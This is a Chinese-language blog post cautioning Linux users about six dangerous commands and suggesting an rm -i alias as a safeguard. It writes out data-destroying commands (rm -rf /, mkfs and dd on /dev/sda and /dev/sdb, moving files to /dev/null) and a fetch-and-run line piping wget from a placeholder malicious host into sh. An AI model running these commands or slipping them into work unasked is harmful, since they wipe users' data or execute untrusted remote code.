Linux操作系统上要慎用的6个命令及防范方法

  基于Linux平台工作的童鞋都知道Linux命令行使用起来非常高效和快捷,但有时候也很危险,尤其是在你不确定你自己在正在做什么时候(别笑,别以为自己真的知道自己想干啥)。各大互联网公司因为在后台执行命令不慎导致数据库被删除和服务宕机的事情屡见不鲜,本文就给大家介绍一下Linux下比较危险的命令,引以为戒,在使用的时候一定要万分小心!

  rm -rf命令

  把这个命令放到第一个,是因为它有不少故事,你懂的。rm -rf命令是删除整个文件夹最快的方式之一。它可以删除允许范围内的任何文件和文件夹,稍有不慎就可能导致不可恢复的系统崩溃。这里面涉及2个选项,都是非常方便,但又非常恐怖的。

  -r 该选项使得rm命令递归的删除文件夹,甚至是空的文件夹。

  -f 该选项使得rm命令能不经过询问直接删除‘只读文件’。

  rm -rf / :强制删除根目录下所有东东。

  rm -rf *: 强制删除当前目录的所有文件。

  rm -rf . :强制删除当前文件夹及其子文件夹。

  这些命令都是非常强悍的,因此在使用的时候一定要万分的消息。另外,在使用rm命令且带有rf选项时一定要慎用正则表达式,稍有错误就造成不可挽回的所示。

  mv 文件夹 /dev/null

  mv命令其实跟rm命令有着相同的危险程度。这个命令会移动某个‘文件夹‘到/dev/null。在Linux中/dev/null或null设备是一个特殊的文件,所有写入它的数据都会被丢弃,然后返回写操作成功。

  # mv /mnt/data/* /dev/null

  上列命令会将data目录所有内容移动到/dev/null,这意味着所有东西都被‘卷入’黑洞 (null)之中。

  命令 > /dev/sda

  标题命令会将某个‘命令‘的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。

  mkfs.ext3 /dev/sda

  与上一个命令一样,这个命令会格式化块设备‘sda’,你无疑知道在执行上列命令后你的块设备(硬盘驱动器)会被格式化,崭新的,没有任何数据,直接让你的系统达到不可恢复的阶段。当然,该命令在执行的时候回检查磁盘是否已经格式化,但不能保证那个愣头愣脑的兄弟强制执行。这里只是个例子,除了ext3,任何格式化的命令在使用的时候都要小心,小心,小心!

  dd if=/dev/random of=/dev/sdb

  dd命令也是一个比较危险的命令,如标题命令令会向块设备sdb写入随机的垃圾文件从而擦除该磁盘上的数据。如果该盘是数据盘,将会导致磁盘文件系统的损坏,进而丢失上面所有数据;如果是系统盘将直接导致系统陷入混乱和不可恢复的状态。

  wget http://malicious_source -O- | sh

  标题命令会从一个网站下载一个脚本并执行,有时候你并不知道这个脚本真的在做什么(这就是开头说的有时候你不确定你要做什么)。wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。如果这个脚本是恶意程序,则会产生不可预料的后果。

  你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。

  危险命令的防范

  我们没法保证任何人都了解这些命令的危险性,因此做到未雨绸缪很重要。以rm命令为例,我们可以通过别名的方式避免登录本无服务器的任何人误用。具体方法是在“.bashrc”文件对‘rm’命令创建rm -i的别名,来预防用‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。具体如图2所示,这样在该服务器上执行rm 其实是执行rm -i。

  图2 设置命令的别名

  最后嘱咐大家,一定要慎用这些命令,有其在生产环境。

Linux操作系统上要慎用的6个命令及防范方法的更多相关文章

  1. 如何将.Net Core应用程序部署在Linux操作系统上运行

    .Net Core简介 跨平台: 可以在 Windows.macOS 和 Linux 操作系统上运行. 跨体系结构保持一致: 在多个体系结构(包括 x64.x86 和 ARM)上以相同的行为运行代码. ...

  2. linux服务器上nginx日志访问量统计命令

    linux服务器上nginx日志访问量统计命令 日志文件所在地方:/var/log/nginx/access_iqueendress.com.log/var/log/nginx/access_m.iq ...

  3. 通过轻量级终端工具Tera Term远程向linux操作系统上传war文件

    通过轻量级终端工具Tera Term远程向linux操作系统上传war文件 1.打开Tera Term终端工具,并输入正确的远程机器的IP地址以及端口号: 2.输入正确的用户名和密码进入到linux操 ...

  4. Hadoop Shell命令(基于linux操作系统上传下载文件到hdfs文件系统基本命令学习)

    Apache-->hadoop的官网文档命令学习:http://hadoop.apache.org/docs/r1.0.4/cn/hdfs_shell.html FS Shell 调用文件系统( ...

  5. 【Linux 操作系统】Ubuntu 基础操作 基础命令 热键 man手册使用 关机 重启等命令使用

    . : 关机, 如果将Linux默认运行等级设置为0, 系统将无法启动; -- : 多用户模式, 允许使用网络文件系统, 一般不使用图形界面登陆就是这种模式; -- : 多用户图形界面模式, 该模式下 ...

  6. [教程]K8Cscan调用外部程序(Win/Linux批量上控/执行多条命令/保存结果)

    0x000 调用原理 Cscan调用外部程序有两种方式,一是编写DLL,二是配置文件 编写DLL文件对于不懂编程的人来说可能会很难(虽然支持各语言) 由于考虑到很多人不会编程或会编程又急用无法短时间转 ...

  7. 在linux操作系统上进行简单的C语言源码的gcc编译实验

    尝试在linux上用gcc 而非封装完好的codeblocks,vs等ide 来编译c和cpp源程序 首先查看我的gcc版本,我的是VM centos 自带的,没有的话得自行安装,安装上gcc就可以在 ...

  8. 在Mac/Linux/Windows上编译corefx遇到的问题及解决方法

    这两天尝试在Mac/Linux/Windows三大平台上编译.NET跨平台三驾马车(coreclr/corefx/dnx)之一的corefx(.NET Core Framework),结果三个平台的编 ...

  9. Linux操作系统上用数据泵导库

    1.在Linux上 创建物理目录dp_dir,存放数据库.dmp文件: 用root用户登录,切换到oracle用户,用oralce身份创建物理目录如下: [root@server36 oracle]# ...

随机推荐

  1. GraphQL 的前世今生

    GraphQL是什么 GraphQL是一种新的API标准,它提供了一种更高效.强大和灵活的数据提供方式.它是由Facebook开发和开源,目前由来自世界各地的大公司和个人维护.GraphQL本质上是一 ...

  2. 【EF6学习笔记】目录

    [EF6学习笔记](一)Code First 方式生成数据库及初始化数据库实际操作 [EF6学习笔记](二)操练 CRUD 增删改查 [EF6学习笔记](三)排序.过滤查询及分页 [EF6学习笔记]( ...

  3. Maven教程(4)--Maven管理Oracle驱动包

    由于Oracle授权问题,Maven3不提供Oracle JDBC driver,为了在Maven项目中应用Oracle JDBC driver,必须手动添加到本地仓库. 手动添加到本地仓库需要本地有 ...

  4. 利用sklearn对MNIST手写数据集开始一个简单的二分类判别器项目(在这个过程中学习关于模型性能的评价指标,如accuracy,precision,recall,混淆矩阵)

    .caret, .dropup > .btn > .caret { border-top-color: #000 !important; } .label { border: 1px so ...

  5. 使用LR编写下载类脚本

    如何下载并保存文件到本地,实现文件下载的脚本制作.以下是本人测试某系统总结整理的脚本,仅供参考. #include "lrs.h" Action() { // 示例一: //第一种 ...

  6. DSAPI多功能组件编程应用-参考-Win32API常数

    DSAPI多功能组件编程应用-参考-Win32API常数 在编程过程中,常常需要使用Win32API来实现一些特定功能,而Win32API又往往需要使用一些API常数,百度搜索常数值,查手册,也就成了 ...

  7. C#工具:CSV文件转换帮助类

    CSV是逗号分隔值格式的文件,其文件以纯文本形式存储表格数据(数字和文本).CSV文件由任意数目的记录组成,记录间以某种换行符分隔:每条记录由字段组成,字段间的分隔符是其它字符或字符串,最常见的是逗号 ...

  8. PHP中的Traits用法详解

    PHP是单继承的语言,在PHP 5.4 Traits出现之前,PHP的类无法同时从两个基类继承属性或方法.php的Traits和Go语言的组合功能有点类似, 通过在类中使用use关键字声明要组合的Tr ...

  9. GNOME图形界面的基本操作

    成功登录进入CentOS系统之后,我们首先看到的桌面就是GNOME图形界面,下面来看一下相关的基本操作. 个性化设置 1,设置屏幕分辨率 进入菜单 2,更换桌面背景 进入下面菜单. 选择一张背景图片, ...

  10. LeetCode 176. 第二高的薪水(MySQL版)

    0.前言 最近刷LeetCode 刷数据库题目 由于数据库课上的是SQL,而MySQL有许多自己的函数的,怕把刚学会的函数忘记 特在此记录! 1.题目 编写一个 SQL 查询,获取 Employee ...